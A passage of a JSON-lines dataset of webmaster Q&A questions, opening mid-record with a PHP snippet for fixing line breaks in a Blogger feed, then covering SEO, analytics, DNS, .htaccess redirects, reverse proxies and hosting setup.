'http:\/\/blog.tamashumi.com\/feeds\/posts\/default'; $pre_pattern = '\/(\\<pre.*?\"\\>)(.*?)(\\<\\\/pre\\>)\/'; $br_pattern = '\/\\<br \\\/\\>\/'; function br2nl($match) { global $br_pattern; $nobrs = preg_replace($br_pattern, \"\\n\", $match[2]); return \"$match[1]$nobrs$match[3]\"; } $content = file_get_contents($url); $content = preg_replace_callback($pre_pattern, 'br2nl', $content); header('Content-type: application\/atom+xml'); echo preg_replace($br_pattern, \"<br\/>\\n\", $content); \/\/ adding NLs ?> A result of filtered feed can be obtained under the URL. On the first look it doesn't differ, the source does though. Last thing to mention. I found that blogger had some time ago 'convert line breaks' flag among configuration settings. It's replaced now by new post-level settings:  I believe that my friends blog works as expected because it had the 'convert line breaks' flag set before it disappeared from the configuration panel and probably as a global setting it has influence also on the RSS. Those new post- level settings doesn't affect RSS feed anyhow. Well, that's only an assumption but I have found no other clue for this inconsistency..."}
{"id":"35479","title":"Tracking untagged adwords visits in Google Analytics","text":"In the event an AdWords campaign doesn't tag its ads, is there any way to identify the traffic (I know I won't get the low-level type of reporting available through properly tagged campaigns, I just want to get a general idea). For instance, is there any way to narrow it down by Source \/ Medium (would it appear as Google \/ Organic, Google \/ Referral, or Direct \/ None)?"}
{"id":"28866","title":"Google sitemap access error, something to do with .htaccess redirect from http:\/\/www. to http:\/\/","text":"I recently updated the htaccess of my site to redirect from `http:\/\/www.` to `http:\/\/`. It all works fine but now I've made some changes to my site and uploaded a new sitemap.xml to google webmaster. I'm getting the following message: > \"We encountered an error while trying to access your Sitemap. Please ensure > your Sitemap follows our guidelines and can be accessed at the location you > provided and then resubmit. > **General HTTP error: Domain name not found** \" I made the sitemap using www.xml-sitemaps.com, any idea how I might resolve this? * * * The domain is: http:\/\/lightandspace.co.uk The sitemap is: http:\/\/lightandspace.co.uk\/sitemap.xml The .htaccess is: Options +FollowSymlinks RewriteEngine on rewritecond %{http_host} ^www.lightandspace.co.uk [nc] rewriterule ^(.*)$ http:\/\/lightandspace.co.uk$1 [r=301,nc]"}
{"id":"51384","title":"SEO optimization when using same content across different TLDs","text":"If I have two sites with almost the same content at example.com and example.co.uk but each is designed to take orders from the appropriate respective geographic location (i.e. .com from the USA and .co.uk from the UK) how does Google handle this in terms of assigning rank? Do I lose pagerank by having duplicate content across the same domain name on different TLDs? How can I limit SEO damage, if any? I note there are already answers to other questions that offer rel=\"canonical\" as a solution but, in the case outlined, I would not want to pass pagerank from one site to the other but keep the same pagerank (as far as possible) for both and have Google serve up the appropriate site for the region the user is searching from (or for). My priority is not losing pagerank. I observe that it is quite common for large multinationals to have multiple sites across international domains but in most cases they seem to have different content. Perhaps this a deliberate SEO choice as well as practical? In my case, the product of the websites is web hosting and the data centres are located in each respective country as well as each site using local currency for orders so it is important to have this localisation, but the products on both sites are essentially the same so the product info on each site does not differ."}
{"id":"9100","title":"How can I make a good favicon?","text":"I have a 16x16 PNG that I want to use for my favicon. It works fine in modern browsers, but I need a favicon.ico file for older ones. The problem is that either the ICO format doesn't support semi-transaprency, which my favicon uses, or the converters I've found online don't support it. Which is it? If the format supports it, how can I convert a PNG to an ICO with semi-transparency?"}
{"id":"48845","title":"How long does it take for URL Parameters changes to take effect on Google Webmaster Tools?","text":"Google was showing up pages with affiliate ID parameter in the search results. After some research on how to disallow this, I came across URL parameters in Webmaster tools. I set the parameters for ?a_aid= to Representative URL\/No, doesn't affect page content. It's been two weeks since I made the change but Google still shows these results and in Webmaster Tools in the \"Effect\" column it still shows \"None.\" How long should I wait for the changes to take effect?"}
{"id":"27138","title":"How can I extend my google appengine application to run a windows executable?","text":"I've got a simple webapp running on Google App Engine (python). I want to extend the functionality of my my webapp and this requires running a Windows executable on a user uploaded JPG file. This cannot be done on App Engine. Thoughts I've had are to stick the executable on a server somewhere, figure out how to put a python wrapper around it and dial into it with appengine when I need to. I've only been exposed to relatively simple App Engine environment and only know python so I was wondering if someone could suggest some ideas as to the best (and quickest) way to do this?"}
{"id":"27131","title":"Self-hosted E-commerce software (preferably PHP) with advanced import capabilities","text":"I'm **looking for an e-commerce software, which I can host myself** (hence I want to import a lot of products. Our catalogue includes every product you can order, not just our stock. So that's why the no product limit would be important). **Advanced import** : I would like to import my products from an XLS or CSV file. At the file upload, specify the rows, the data, what to get imported, if I want to merge or replace, etc. Everything you would expect. I don't want to edit the products one-by-one. That would take forever. **PHP** : I have a Debian 6.0 server up and running, which I can modify any way I want. So anything that can be run on a Linux server is fine. (ASP.net would cost me wonders, hence you have to buy Server2008R2 AND the SQL.) **Open-source, and free alternatives** : I tried many of them, just recently. They provide a viable webshop, for anyone who starts a new small shop, and wants to have his stock uploaded. That's fine. But you can't manage mass amount of items. Nor modify them, etc. Installing plugins is one way, but the only plugins I found were not free, and really badly written. Poor quality, full of security holes. The developer couldn't be found once you paid him. Hiring a developer again, is a waste of money and time. Hence he have to code this all down, and he will ask magnitude larger amount of money, also, if he obfuscates the code or decides to leave, I can't do anything. **That said, free software is not out of the league, but my personal experience says otherwise. This is not a shopping recommendation. I'm looking for a software.** (There is a Wikipedia entry, and many hits if you do a search. But the Wiki is really outdate, and the hits are mostly just SEO based. Even if you manage to find a product, it's highly overpriced, and hosted by the company (thus monthly paid). It also comes with a low product limit.)"}
{"id":"65834","title":"Multiple tracking ID, multiple sites, one email report?","text":"I have a Google Analytics account which contained 10 sites. For each site it has individual ID (for example `UA-1000000-01`, `UA-1000000-02`, `UA-1000000-03`...). So, is it possible to set an automatically weekly email report that contains all 10 sites?"}
{"id":"25400","title":"Firefox: @font-face issue w\/ remote fonts","text":"I've been having some trouble understanding this issue. I'm trying to use an @font-face font on a subdomain, say mysite.example.com. The \"src\" of the font face would be something along the lines of url('http:\/\/www.example.com\/myfont.woff\"). I've tried putting the CSS file on the subdomain, as well as the main domain, and in both cases Firefox will not respect the font-face. The font-face works in Chrome and Safari (haven't tried IE yet). If I move the woff file to the subdomain, it works fine. So I think the issue is with crossing domains. However, if I link to a Google-hosted web font, it works fine. Unfortunately, Google Web Fonts does not have the font I need. I know the easy solution to host the font on the subdomain, but I'm trying to avoid too much duplication and would prefer to serve this font and CSS for the font on the main domain. Any ideas on how to get this to work? Why would it work for Google fonts but not mine?"}
{"id":"24190","title":"Better Spam Protection than reCAPTCHA?","text":"I hope this is a valid question to ask here... but knows anyone a better spam protection than reCAPTCHA? We've now using reCAPTCHA for some time but got now the situation that obviously more and more spam comes through. Is there any better but still more or less user friendly spam protection you can recommend? It can be just a concept or also a (free) service."}
{"id":"27010","title":"What are dompdf_img_* files?","text":"I noticed recently that my tmp directory is starting to fill up and it seems that it is filling up with file that start with dompdf_img_*. Whatever program that is creating these files is not cleaning them up or not cleaning them up as often as I would like. Does anyone know what program creates these files and if there is a way regulate how long they are kept on the server? Using CENTOS 6.2 x86_64 and WHM 11.30.6"}
{"id":"46934","title":"Wrong data on referral traffic","text":"We are losing data on referral visitors, and we cannot identify what's wrong. Within a certain period, there were 3000 clicks on a banner on our partner's site. (according to data from our partner) Our analtytic shows only 300 referral visits from that banner. We can't understand, where are the rest of visits. I read that some of these referral visits can show up as direct traffic. But we only had 1500 direct visitors within that same period. Therefore, some visitors are still not tracked! Maybe there's something wrong with our tracking code? It is up to date and it is placed within the head tag...."}
{"id":"16583","title":"Breadcrumbs in H1 - How does it affect Google?","text":"Is it good for Google? Like this: `<h1> Home >> Services >> Toilet cleaning >> Showcase <\/h1>`"}
{"id":"16589","title":"Breadcrumb before or after H1?","text":"Which is better for SEO? home > page > sub page <h1> sub page <\/h1> or <h1> sub page <\/h1> home > page > sub page ?"}
{"id":"42293","title":"Is <a href=\"#\">link<\/a> a broken link?","text":"When using empty URL fragment links, to send a user to the top of the page (e.g. `<a href=\"#\">return to top<\/a>`), are these links considered broken or invalid? One of my tools is returning them all as broken links."}
{"id":"12693","title":"Looking for free\/cheap Analytics Software like Statcounter","text":"Does anyone know of any Analytics Software similar to Statcounter that is free (hopefully) or cheap? I have used Statcounter in the past and it's very helpful, however, it only allows information on that past 500 visits for free. Their paid version is tiered based on traffic, each tier has caps (data past x amount of visits isn't shown) which is a huge turn off. With Google Analytics, it's a huge pain to show correlation between two set of data: ie. I can see how many visits I get from New York and I can see how many visits I get to a certain page, but finding out how many visits to a certain page I get from New York? Forget about it! Does anyone know of anything that meets my needs?"}
{"id":"12691","title":"Backlinks: How does a company's name as the anchor text help with SEO?","text":"Often I see footer links like: SEO by COMPANY NAME How does this help with SEO other than helping a company rank for \"Company Name\"? When nearby words like \"SEO by\" get picked up by a search engine crawl, does their proximity to the backlink create some sort of relationship between the backlink and the nearby text?"}
{"id":"13242","title":"high number of nofollow links bad?","text":"> **Possible Duplicate:** > Ratio of No-follow & Do-follow Backlinks I've been playing with seomoz's tools and it seems like our site has a high number of nofollow links. from what I understand this is because a lot of blogs will make the links used in comments nofollow links, thereby not affecting our ranking? is this a problem and what can be done about it?"}
{"id":"42545","title":"Apply CSS to a particular page element in Firefox","text":"Is there a Firefox extension that will let me simply select a visible element on a page, get a CSS selector referring specifically to that element (as the Firefox Web Developer extension already does), and the TYPE IN SOME CSS that is immediately applied to that selector? For example: I have a page with some yellow text. I want to change the yellow text to red. I want to be able to simply click on the yellow text, see that it can be referenced by the long and cumbersome CSS selector #firsthalf.foo li #crazystuff .wishfulthinking b a #badidea and then say color: red !important; and see the text turn red."}
{"id":"10834","title":"Multisites Network SEO::Can self-referencing canonical tag(rel=\"canonical\") inside article improve google rating?","text":"Can self-referencing canonical tag(rel=\"canonical\") inside article improve google rating? The Case: 1. Company have 40 sites with original content and 1 main site with some of 40 sites articles. 2. Main site have rel=\"canonical\" in each article **Should article in original site have also rel=\"canonical\" for self- referencing?** * * * example: inside main network site(reference to other site):`<link href=\"http:\/\/site7.com\/article25\" rel=\"canonical\" \/>` inside original network site(self-reference):`<link href=\"http:\/\/site7.com\/article25\" rel=\"canonical\"\/>` Thanks in advance"}
{"id":"10830","title":"SEO\/Google: How should I handle multiple countries and domains?","text":"I'm the webmaster of an online shop based in Austria (Europe). Therefore we registered \"example.at\". We also own different other domain names like \"example-shop.com\" and \"example.info\". Currently all those domains are **redirected (301)** to the **.at** one. Still available is: \"example.net\" and \"example.org\" (and .ws\/.cc), unfortunately not available: .de\/.eu The .com is currently owned by one of our partners, the contract ends in 2012 but until then we have no chance to get this one. Recently I read more about geo-targeting and I noticed ONE big deal. The tld \".at\" is hardly recognised in Germany (google.de) whereas it is excellently listed in Austria (google.at). _As a result of the .at I **cannot** set the target location manually (or to unlisted)_. More info: https:\/\/www.google.com\/support\/webmasters\/bin\/answer.py?answer=62399&hl=en This is a big problem. I looked at Google Analytics and - although Germany is 10x as big as Austria - there are more visits from Austria. **So, how should I config the domain in order to get the best results in both, Germany and Austria?** I thought of some solutions: 1. First I could stop redirecting the .info. Then there would be a duplicate of the .at one. Moreover, in Webmaster Tools, I could set the target location of the .info to Germany. As the .at still targets Austria, both would be targeted - however _I don't now if Google punishes one of them because of the duplicate content_? 2. Same as 1. but with .net or .org (I think .info is not a \"nice\" domain and moreover I think search engines prefer .com, .net or .org to .info). 3. Same as 1. (or 2.) but with a _rel=\"canonical\"_ on the new one (pointing to the .at). Con: I don't think this will improve the situation, because it still tells Google that the .at one is more important, like: \"if .info points to .at, the target may still be Austria\". 4. rel=\"canonical\" on the .at pointing to the new (.info or .net or .org). However I fear that this will have a negative impact on the listing on Google.at because: \"Hey, the well-known .at is not important anymore, so let's focus on the .info which is not well-known.\" -> Therefore: bad position in search results. 5. Redirect .at to the new (.info or .net or .org) with a 301-Redirect. Con: Might be worse than 4, we might lose Page-Rank (or \"the value of the page\", because Google says that page rank is not important anymore). Moreover this might be even more confusing for the customers. In 3. or 4. customers don't get redirected, they do not see the canonical-meta-tag. So, please tell me what the best option would be! Please note: It's exactly the same content AND language. In Austria we speak German."}
{"id":"35202","title":"Subdomain In Addon Domain Is Not Working","text":"I added a new addon domain to my cPanel hosting. With the new added addon domain, I try to make some subdomain of it. But, the subdomain is not working like subfolder does. This is my situation:  1. `mymaindomain.com` (the cPanel primary domain - OK) 2. `myaddondomain.com` (the new domain - OK) 3. `en.myaddondomain.com` (subdomain of the new domain - not working) 4. `myaddondomain.com\/en` (subfolder of the new domain - OK) What should I do to solve this issue?"}
{"id":"28652","title":"Easy to use tool to send screenshots from a website?","text":"Is there tool or widget that I can embed in my site that would allow visitors sending me a screenshot of the current page? It would be helpful for reporting errors they encounter on the site."}
{"id":"22339","title":"How to block my images from being displayed by other websites?","text":"> **Possible Duplicate:** > How is anti-hotlinking done? I have a lot of images on my site and I don`t want to let other people to use my images on their sites. Is there any way to block the use of my images from other sites, maybe with .htaccess?"}
{"id":"46697","title":"more capability from CSS","text":"so i've just finished a book to learn CSS. (known HTML since high school but didn't have the initiative to pick up CSS 'til now). anyways, ever since i started reading about pseudo-classes in CSS i always thought it was a: * vast assortment of states for almost any tags. this would allow different formatting\/layouting for any STATE of ANY ELEMENT. this would then be the mechanism to have pop-up\/drop-down\/tabbed menus\/interactive buttons, controlling the INTERACTIVE look and feel of a page. this made sense, as CSS has always been aimed for formatting\/layouting. then i got to the end of the book and didn't find it. the most was the all- too-familiar using pseudo-classes, \"hover\", \"visited\", etc on to alter the formatting of the anchor element itself. http:\/\/www.w3schools.com\/css\/css_pseudo_classes.asp only lists a dozen pseudo- classes. so basically the rest of the elements needs to be handled by using onclick, onmouseover, etc, which are all javascript. then i was dreaded with the notion that those interactive look and feel, even from popular and widely conforming websites, like youtube, facebook, google, etc, was achieved using javascript. i haven't gone through each of the said sites to see exactly how the code achieved those effects (it's gonna take me a while to decipher as i'm a novice in javascript; didn't even look at the .js files). but... it is JS, isn't it?? anyways, isn't it better if CSS does atleast _most_ of the INTERACTIVE look and feel as i delineated in the point block above? implementing a drop-down navigation menu would then be like: * if :hover is true for a button, then change the block formatting (as the button is actually a sinlge lined block). the children blocks would have their \"display\" style property turned on (previously hidden). they are then set on having a solid background color, padding, borders, etc.. now dispalyed, the user may interact with them like ordinary links. the rest, mostly that requires information processing, will be through javascript. i guess my biggest objection to implementing the interactive look and feel using JS is that you can't always fall reliably back on it. 1. older and rarer browsers may full support of CSS but not JS. 2. JS maybe disabled 3. JS is usually slower (unless script is turned into binary and probably JIT-ed). this is more evident in mobile devices."}
{"id":"61752","title":"Robots and Sitemaps","text":"I have some problems regarding indexing. Google indexed so much in the list. Now I wanted to remove everything from my site. If I have disallow all in _robots.txt_ and send my _sitemap.xml_. Would Google still be indexing my links? I intend to index my links from the _sitemap.xml_ Should my sitemap cover the whole period of birth of my site? For example, I have this site which is 1 year old. Should I include the post from day 1 up today on the sitemap?"}
{"id":"18826","title":"Google Analytics include querystring","text":"I've taken an advert out on a site with instruction to point it to: http:\/\/www.example.com\/?source=gmb In Analytics, how do I go about analysing it's data? I can't find anywhere to see people who came via that querystri"}
{"id":"28651","title":"How do sites like DeviantArt and Youtube protect against copyright infringement?","text":"I'm thinking of creating a site where users are allowed to upload content that can then be purchased by other users. My question is how do I protect against someone uploading something that isn't theirs? Do I have to do that with a team of people or are there methods that can be implemented to protect against this. How does Youtube know that someone has uploaded something that violates a copyright?"}
{"id":"53173","title":"Is there a wordpress like platform for publishing code documentation?","text":"Is there a wordpress like platform for publishing code documentation? I have an API I'm publishing internally and I want to add documentation like jQuery or Kendo do, and I'm wondering if they just have homegrown solutions for displaying their documentation or if there are solutions (free and paid) out there."}
{"id":"48343","title":"How linking too many sites from my site will affect my page rank in Google","text":"I run a resource and information site which provide links to sites containing specific information. E.g. it provide links to almost all paper manufacturers on the planet. These are not paid link. I don't care if any page rank is passed or not to these web sites. I want to know if it affect my site page rank and should I use nofollow attribute with all links. My site is 15 years old and has PR5. Thanks"}
{"id":"21095","title":"1 touch zoom issue for mobile site on opera","text":"I'm optimising my site for the web. For testing I've downloaded the Opera mini app for my iPhone and the Opera mobile desktop browser for my PC. Often when you click or touch a link, rather than opening the link the browser zooms in first (you can then click the link). This behaviour is quite annoying and doesn't seem to happen on other sites. Can I disable this functionality or alter my site so it stops happening?"}
{"id":"19807","title":"Are there negative effects to introducing a site to Google too early?","text":"I've got a site that is going live in a couple of weeks. All of the content is not complete, but is being added to the database each hour. Is there a negative effect if Google or other search engines find the site before it's \"ready enough\"? Will they just assume it's a barren shell and return in six months? How complete should a site be before you invite the search engines in?"}
{"id":"16366","title":"How can I find the source of this broken link to our site?","text":"In our error logs we have quite a few (~ 10s \/ day) internal recursion errors caused by googlebot. Here is a typical example: [Sun Jul 03 10:58:22 2011] [error] [client goo.gle.ipa.ddr] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. Looking in the access log, the offending GET is always looking for a broken URL with this format: http:\/\/ourdomain.com\/wp-content\/uploads\/2007\/11\/image-name.jpg%22%20width=%2239%22%20height=%2250%22%20alt=%22image%22\/%3E%3C\/a%3E%3Ca%20href=%22\/m\/imgres?q=some+query+here Undoing the URL encoding to make it more readable: http:\/\/ourdomain.com\/wp-content\/uploads\/2007\/11\/image-name.jpg\" width=\"39\" height=\"50\" alt=\"image\"\/><\/a>< href=\"\/m\/imgres?q=some+query+here This looks like a broken fragment of some HTML that was displaying the image as part of a hyperlink. Looks like it might have been part of some sort of search result. We don't have any links of this format anywhere in our site, so I can only assume this is a reference from somewhere else that is either misinterpreted by googlebot, or is just broken in the page markup. There is no entry for the referrer in the Apache access_log. I have tried to find the source in Google webmaster tools, but although the unreachable is noted, there is no mention of the source. I've also tried to use Google to find the reference without success. I do notice that the \"imgres\" in the href fragment is used in Google image search, but the rest of the fragment isn't consistent with this. My questions: * Should I bother with this or just let these recursion errors happen (10s of them \/ day)? * If I need to bother, any suggestions on how to find their source? Thanks."}
{"id":"16365","title":"title, content copied and title, name used! trademark issue?","text":"I have a video website, server and domain bought 3 months 1 week ago, website actually started 1 month 1 week ago. Domain name plain and simple, easy to remember, bought with a yearly fee, nothing similar exists. Domain name appears in all pages' title. Around a week ago, started coming up with odd websites in google searches: my website has 0 pagerank (not enough traffic, no advertising yet and no backlinks, a maximum of 10,000 pageloads a day, this week's average 3000 pageviews a day - because of the time of year? ) other websites with higher pagerank (heck, it's not that hard to beat a 0 pagerank-1 month old website) have started using my name in their content titles! like name, sometimes including .com! I wish not to reveal my website address for ethical purposes, so for now i shall call it foofoo.com So my pages are: foofoo.com - best free video sharing site: free full hd episodes, free flash games etc... Lame Video title man runs on the street with no shoes video - foofoo.com Count Sheeps till you go to sleep flash game - foofoo.com google searches for foofoo.com point directly to my website BUT google searches for foofoo point to some pages like: notfoo.com\/foofoo-com-stolen- title-and-vid-for-views with title like foofoo.com vid title here bla bla searching google for \"foofoo\" 2 weeks ago would place me 10th, and going up. searching for it now places me somewhere on 30th-35th and going down! all places before me are taken by titles containing my name, domain, title, content title etc and I don't know what to do about it! All my pages have a copyright notice at the bottom of the page and i have a terms and conditions on my website. I did not register a trademark, but searched for it and no one has registered a trademark containing my domain name. I do not know what to do... can someone please advise? I am currently reading about legal stuff, trademark and such, but just started today so it will be tough. Also, I cannot afford any payed advise, such as a lawyer... that's mainly the reason for which I haven't yet payed for a registered trademark.Does anyone have an idea on what could be the cost of registering a trademark? Please help me solve this issue... Thanks in advance to all of you going to answer and help me!"}
{"id":"19804","title":"Can we host subdomains to diffrent hosting provider?","text":"I have one domain, abc.com and for some reson I want to Install one application which require tomcat service. Current hosting is for php and apache only. Is it possible to host java.abc.com to another hosting and how it can be done?"}
{"id":"16369","title":"How to compile all design images as used in website design?","text":"I am just coming into a new web design role and so far I can find no central repository of all images as used on the website. I have previously, at some point in the design process, inserted all design images (global buttons, layout images, background gradients etc) into a PNG file - sometimes multiple PNG files if warranted. (Please note that I am not talking about content images (such as photos that would be used in an article), just the images that are part of the design.) Before I go about the usual task of compiling all images into a PSD\/PNG, just to see if there are other, more manageable ways. My question here is, how do you store all of the images that you use in a website? Do you have a central repository (PSD\/PNG) file for all of your buttons, all of your gradients or is that unnecessary?"}
{"id":"16368","title":"I want to learn about servers, where should I start?","text":"I am interested in learning how to run a server to host a website and provide me with email and all the other features hosting companies offer. I have read snippets from all over about different aspects, but I would like an absolute begining as I don't really even understand how servers work. Can anyone recommend a site or book that would offer a solid foundation for understanding how a server works."}
{"id":"61807","title":"Unwanted hyperlinks containing 'msocom1' inserted into my WordPress content","text":"I have found several unwanted nonsensical hyperlinks inserted into unpublished content on my website (self-hosted WordPress). Four of these are to \"#_msocom_1\". Googling on \"#_msocom_1\" returns 519 results; Googling on \"msocom1\" returns 602 results. I've checked a sample and all seem to be similar to my situation - they are nonsensical text inserted in the content (whether or not as a hyperlink). Unfortunately I can't find any explanation of why\/how they occur. Question: Have others noticed these nonsensical hyperlinks? Is there a known explanation? Does 'msocom1' actually mean something? Note: I have not mis-spelled this term. It is 'msocom1'; it is **NOT** 'mscomm1'. Addendum#1: there are\/were other nonsensical hyperlinks. For example the words \"content in\" were turned into a hyperlink to 'http:\/\/content.in'. There are another 22 of these nonsensical hyperlinks."}
{"id":"61801","title":"Apache Reverse Proxy (Same ProxyPass path but different Destination)","text":"I have a problem here. I am doing reverse proxy for few website in my test server. So , what i have encounter here is that when i request the website from the client , both website request from the same path , thus only the leading ProxyPass will work , not the latter. Here is my configuration . ProxyPass \/js http:\/\/example.com\/js ProxyPassReverse \/js http:\/\/example.com\/js ProxyPass \/js http:\/\/example.org\/js ProxyPassReverse \/js http:\/\/example.org\/js My question is that how i can differentiate both of them.Because it will cause the second website unable to load the js scrips. I have try Alias like Alias \/fjs \/js so it will come like ProxyPass \/fjs http:\/\/example.org\/js But the js script for the second website is still not working"}
{"id":"26265","title":"What is the generic type of this background image?","text":"What is this type of texture referred to in web design? Blotted, blotched? And what are the best ways or tools to generate similar textures and backgrounds?"}
{"id":"22921","title":"WYSIWYG editor that outputs to markdown","text":"Is there a WYSIWYG editor that outputs markdown?"}
{"id":"52590","title":"In Google Analytics, how can I graph direct traffic vs Google referrals?","text":"How can I graph direct traffic, versus referals from other search engines (in particular Google)? I can kind of get what I want by using the \"Plot Lines\" function, from the Traffic Sources > All Traffic graph, but as the graph includes a line for \"all traff\" and is scaled as such, it makes it difficult to visualise only the google and direct traffic items."}
{"id":"17181","title":"Is there any server or software that legitimately improves a site's SEO?","text":"I started to learn about SEO in last four months. Before that I was just a freelance web designer. Since I am new to this industry, I contacted a SEO company to optimize our client's website which I designed. While discussing SEO with the company one of the technical staff told me that they have some sort of server which boosts the website and they can achieve good results in a short amount of time. I don't really believe what he said so I want to know whether any such system or server exists which can boost the SEO of a website. Is it just a marketing gimmick?"}
{"id":"17186","title":"How to have html display a link, but open a javascipt function instead?","text":"I have an html page, and I need a link to show that the user would be going to 'example.html', when really, the link goes to 'javascipt:ajaxLoad(example.html);'. EDIT: I went over to stackexchange, and their solution worked. The html would go from this: Example to this: Example The solution, is if javascript is enabled, the 'return false;' will cancel going to the link on the page, and load the javascript. If not, then it will go to the page in the href"}
{"id":"30068","title":"Generating search result pages as keyword friendly gateways","text":"We have a fairly standard eCommerce marketplace site. When a user searches for \"something in city A\" a friendly url is created with that search term which displays a list of products for that term. These pages are then indexed by Google and subsequently crawls the product pages. It has resulted in us having many more pages indexed than we actually have products. My question is. Is this a sensible strategy? Are these considered doorway pages by google? Would we gain an advantage by using sitemap.xml with links to each product? Thanks."}
{"id":"57329","title":"How to point DNS records to Amazon AWS Elastic Beanstalk","text":"I just created a new environment with AWS and uploaded a .zip file into elastic beanstalk. I used to have a friend's server host my site instead of GoDaddy so I changed my custom DNS name servers from pointing to my friend's server to GoDaddy's. AWS told me that I need I need to add a CNAME record on GoDaddy and I did. The alias is `lance` and the host is `lance-env.elasticbeanstalk.com`. I know that this change can take 24-48 hours to take effect but it's been a day already and when I go to my site, a default page from GoDaddy appears. I'm very new to AWS and would just like to find a way for AWS to host my site other than using Route53."}
{"id":"32355","title":"How to set up Google ecommerce tracking for a shopping cart servicing multiple countries?","text":"Currently trying to set up GA ecommerce tracking for a shopping cart providing different pricing and tax to multiple countries. Does anyone know how to extract the tax amount from the order total for google ecommerce for multiple countries? i.e. set GA ecomm up to service\/ return data for different countries?"}
{"id":"9366","title":"Defining 'HTML5 Interface'","text":"I've seen people talk about sites upgrading from Flash to HTML5, but there's no sign of HTML5 anywhere in their source. So what constitutes as an \"HTML5 interface\"? Is this term becoming the next \"Web 2.0\"?"}
{"id":"9362","title":"Is it ok to use a hodgepodge of CMSes on a particular domain","text":"I have several different needs on my website and I am thinking of using different CMSes - in each case, the one that most closely matches the needs of each page. Is this recommended?"}
{"id":"53314","title":"Tumblr custom subdomain stoped working","text":"I have added my custom `.tk` subdomain to Tumblr. My DNS setup for this domain looks like this: A - mydomain.tk - xx.xxx.xxx.xxx ; MX - mydomain.tk - xxxxxx.pamx1.hotmail.com ; CNAME - blog.mydomain.tk - domains.tumblr.com It was working fine for a month or more, and then all of the sudden I get this error: > This subdomain's CNAME is not pointing to Tumblr. It is currently set to > “DOMAINS.TUMBLR.COM”. Obviously my domain is set correctly. This error doesn't make sense that the domain is not pointing to `DOMAINS.TUMBLR.COM` when it is pointing to `DOMAINS.TUMBLR.COM`. When I open my adress `blog.mydomain.tk`, it opens the Tumblr site and shows an error: \"There's nothing here.\" So obviously the problem has to be on their side, right? I wrote to their support about this and first time they fixed it immediately, and then after a couple of hours it happened again, without me even doing anything and now even their support doesn't answer me."}
{"id":"9360","title":"Does GoDaddy support Microsoft Chart Controls","text":"Does anyone know (or have running) if Chart Controls will work on GoDaddy's Windows Servers. They have ASP.NET 4.0 but is that enough? Thanks!"}
{"id":"21273","title":"Where can I find out whether the price I've been quoted for a CSS template is competitive?","text":"I want to get a template designed. A brand guidelines document already exists, and I've already created the HTML. I don't want any graphics or javascript, so basically there's little wiggle-room from a design point of view. It should just be a typographically strong template with a few flashes of colour from a predefined palette. Where (online) can I find out whether the amount I've been quoted is competitive. To my mind it should only be a couple of hours work so shouldn't cost too much."}
{"id":"63408","title":"Not using nofollow for UGC links","text":"My site contains many links that were user generated so I've added a `rel=nofollow` to them. I'm considering removing that tag at least partially, as these are most of my outgoing links and I've come to understand it isn't a good SEO sign to not have outgoing followed links. Although these are external sites, I have some data on the popularity and categorization of these sites. I'm trying to decide between two options: * Removing the nofollow link for popular sites in most categories. * Removing the nofollow for links that are in specific categories that represent the categorization I would like to achieve for my site. For example if this is a site about Basketball only remove the nofollow for links that are from sport sites. As these are both not exactly natural approaches, can this hurt me? Which option would you recommend?"}
{"id":"63404","title":"My site's Alexa rank got worse and Alexa stopped ranking some sub-domains","text":"I have a website which has reached an Alexa rank of 250,000. It had four sub- domains and Alexa was ranking them as well. Two weeks ago, my rank became 290,000 and Alexa now shows only one sub-domain in addition to the main domain. I use the Alexa toolbar and all my friends use it. I would at least think that Alexa should rank a sub-domain which we use everyday. Why did this happen?"}
{"id":"56891","title":"Why doesn't my domain resolve to the hostname CNAME\/ALIAS I've specified?","text":"I have a domain set with a `CNAME` alias to point to Heroku, but it is not resolving. Here is a link to a screenshot: http:\/\/awesomescreenshot.com\/03226ntoc4 And here is the output from `nslookup`: $ nslookup -query=any tyger.ac. dns1.name-services.com Server: dns1.name-services.com Address: 98.124.192.1 tyger.ac nameserver = dns3.name-services.com tyger.ac primary name server = dns1.name-services.com responsible mail addr = info.name-services.com serial = 2002050701 refresh = 10800 (3 hours) retry = 3600 (1 hour) expire = 604800 (7 days) default TTL = 3600 (1 hour) tyger.ac nameserver = dns2.name-services.com tyger.ac MX preference = 5, mail exchanger = eforwardct.name-services.com tyger.ac MX preference = 5, mail exchanger = eforwardct3.name-services.com tyger.ac MX preference = 5, mail exchanger = eforwardct2.name-services.com tyger.ac nameserver = dns4.name-services.com tyger.ac nameserver = dns5.name-services.com tyger.ac nameserver = dns1.name-services.com dns2.name-services.com internet address = 98.124.197.1 dns3.name-services.com internet address = 98.124.193.1 dns1.name-services.com internet address = 98.124.192.1 dns4.name-services.com internet address = 98.124.194.1 dns5.name-services.com internet address = 98.124.196.1 Here is the destination host: $ nslookup mie-6031.herokussl.com Non-authoritative answer: Server: google-public-dns-a.google.com Address: 8.8.8.8 Name: elb033514-473924049.us-east-1.elb.amazonaws.com Addresses: 50.16.211.233 23.23.138.171 54.243.232.221 Aliases: mie-6031.herokussl.com"}
{"id":"1838","title":"How can I update my site without forcing users to wait?","text":"Downtime is inconvenient for users and currently they have to wait any time a site's engine is being upgraded. Additionally, when using off-the-shelf scripts there's a risk that a setting change won't work as well as intended (even if they've been tested on a staging site). How can I keep multiple versions of a site on a server and switch between them without causing any downtime (e.g. with a htaccess file)?"}
{"id":"4980","title":"Stackexchange vs Personal Blog - Pagerank Competition","text":"As you can see I'm using my real name on every StackExchange site including stackoverflow.com. Given an unspecific time period, is it possible for my very own personal blog to compete with any StackExchange Site? I really like my personal blog to be page rank one and don't have to change my name i.e. on Stackoverflow. "}
{"id":"4983","title":"Do Flash head banner texts need to coincide with the text on the underlying HTML banner?","text":"Let's say you have a flash head banner on the page that you are trying to optimize. Let's also assume that you've incorporated an underlying HTML banner for SEO purposes. Now, do you think Google actually \"reads\" flash content and can penalize you for not using the same content on both headers?"}
{"id":"2400","title":"What affiliate network would you recommend and why?","text":"There are many ad and affiliate networks out there, that each try to cover a niche. Please list your favorites and give some reasons why you like them."}
